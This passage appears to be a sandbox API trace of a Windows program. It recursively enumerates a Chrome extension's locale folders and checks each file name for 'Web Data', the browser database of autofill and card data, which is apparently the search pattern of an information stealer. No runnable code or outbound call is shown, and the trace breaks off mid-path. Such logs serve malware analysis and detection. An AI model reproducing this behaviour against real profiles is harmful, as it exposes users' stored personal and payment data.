[0056.258] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.258] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.258] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.258] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.258] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.258] LocalFree (hMem=0x2daca0) returned 0x0 [0056.258] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.258] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.258] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.258] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.258] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.258] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.258] lstrlenA (lpString="\\") returned 1 [0056.258] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.258] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.258] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.258] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.258] lstrlenA (lpString="no") returned 2 [0056.258] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.258] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.259] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no" [0056.259] LocalFree (hMem=0x2daca0) returned 0x0 [0056.259] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no") returned 131 [0056.259] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no") returned 131 [0056.259] lstrlenA (lpString="\\*.*") returned 4 [0056.259] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.259] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no" [0056.259] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no\\*.*" [0056.259] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.259] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.259] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.259] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.259] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.259] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.259] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.259] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.259] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.259] LocalFree (hMem=0x2daca0) returned 0x0 [0056.259] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.259] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.259] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.259] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.259] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.259] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.259] lstrlenA (lpString="\\") returned 1 [0056.259] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.259] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.259] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.259] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.259] lstrlenA (lpString="pl") returned 2 [0056.259] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.259] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.259] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl" [0056.259] LocalFree (hMem=0x2daca0) returned 0x0 [0056.259] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl") returned 131 [0056.259] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl") returned 131 [0056.259] lstrlenA (lpString="\\*.*") returned 4 [0056.259] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.259] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl" [0056.259] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl\\*.*" [0056.259] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.259] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.260] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.260] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.260] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.260] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.260] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.260] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.260] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.260] LocalFree (hMem=0x2daca0) returned 0x0 [0056.260] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.260] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.260] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.260] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.260] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.260] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.260] lstrlenA (lpString="\\") returned 1 [0056.260] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.260] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.260] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.260] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.260] lstrlenA (lpString="pt_BR") returned 5 [0056.260] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.260] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.260] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR" [0056.260] LocalFree (hMem=0x2daca0) returned 0x0 [0056.260] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR") returned 134 [0056.260] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR") returned 134 [0056.260] lstrlenA (lpString="\\*.*") returned 4 [0056.260] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.260] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR" [0056.260] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR\\*.*" [0056.260] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.260] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.260] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.260] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.260] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.260] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.260] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.260] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.260] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.260] LocalFree (hMem=0x2daec0) returned 0x0 [0056.260] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.260] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.260] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.260] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.260] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.261] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.261] lstrlenA (lpString="\\") returned 1 [0056.261] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.261] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.261] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.261] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.261] lstrlenA (lpString="pt_PT") returned 5 [0056.261] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.261] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.261] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT" [0056.261] LocalFree (hMem=0x2daca0) returned 0x0 [0056.261] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT") returned 134 [0056.261] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT") returned 134 [0056.261] lstrlenA (lpString="\\*.*") returned 4 [0056.261] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.261] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT" [0056.261] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT\\*.*" [0056.261] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.261] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.261] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.261] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.261] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.261] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.261] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.261] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.268] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.268] LocalFree (hMem=0x2daec0) returned 0x0 [0056.268] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.268] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.268] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.268] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.268] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.268] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.268] lstrlenA (lpString="\\") returned 1 [0056.268] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.268] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK 